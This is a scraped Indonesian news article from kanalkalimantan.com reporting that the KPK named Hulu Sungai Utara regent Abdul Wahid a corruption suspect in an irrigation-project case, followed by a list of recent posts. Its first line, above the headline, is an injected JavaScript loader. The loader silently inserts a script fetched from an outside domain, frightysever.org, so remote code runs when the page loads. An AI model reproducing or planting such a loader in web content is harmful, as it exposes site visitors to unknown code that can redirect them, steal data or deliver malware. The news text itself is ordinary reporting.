(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. KPK Tetapkan Bupati HSU sebagai Tersangka Korupsi


KANALKALIMANTAN.COM, JAKARTA– Komisi Pemberantasan Korupsi (KPK) akhirnya menetapkan Bupati Hulu Sungai Utara (HSU) Abdul Wahid sebagai tersangka korupsi. Bupati Wahid hadir mengenakan rompi orange saat konferensi pers yang digelar KPK, Kamis (18/11/2021) petang ini.

Komisi Pemberantasan Korupsi (KPK) dijadwalkan menggelar konferensi pers terkait kasus dugaan korupsi di Kabupaten Hulu Sungai Utara (HSU). Laman komisi anti rasuah tersebut menyampaikan akan menggelar konferensi pers pada Kamis (18/11/2021) pukul 19.15 Wib. Lalu, adakah kemungkinan KPK akan menetapkan tersangka baru dalam kasus koruspi proyek infrastruktur tersebut?

Sinyal akan adanya tersangka baru dalam kasus rehabilitasi Jaringan Irigasi DIR Kayakah Desa Kayakah Kecamatan Amuntai Selatan dengan nilai proyek Rp 1,9 miliar dan Rehabilitasi Jaringan Irigasi DIR Banjang Desa Karias Dalam, Kecamatan Banjang dengan nilai proyek Rp 1,5 miliar tersebut, terlihat dari pemeriksaan yang dilakukan secara intensif oleh penyidik KPK beberapa waktu terakhir.

Bahkan, penyidik KPK telah meminta bantuan kepada Ditjen Imigrasi Kementerian Hukum dan HAM (Kemenkumham) untuk mencekal Bupati Hulu Sungai Utara, Abdul Wahid bepergian ke luar negeri selama enam bulan ke depan.

 

 

Baca juga : KPK Dikabarkan Gelar Konferensi Pers Kasus Korupsi di HSU, Bakal Ada Tersangka Lagi?

Plt Juru Bicara KPK Ali Fikri menyebut Abdul Wahid dilarang ke luar negeri sejak 7 Oktober 2021 dalam kasus dugaan korupsi pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara (HSU), Kalimantan Selatan (Kalsel) Tahun 2021-2022.

“Mengirimkan surat ke Ditjen Imigrasi Kumham RI untuk melakukan pelarangan ke luar negeri terhitung mulai 7 Oktober 2021 hingga selama 6 bulan ke depan terhadap satu orang saksi atas nama AW (Abdul Wahid),” kata Ali.

Hingga saat ini konferensi pers KPK masih berlangsung. (kanalkalimantan.com/kk)

Reporter : kk
Editor: cell


Desy Arfianty

Recent Posts

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

36 menit ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

3 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

4 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

4 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

5 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

7 jam ago

This website uses cookies.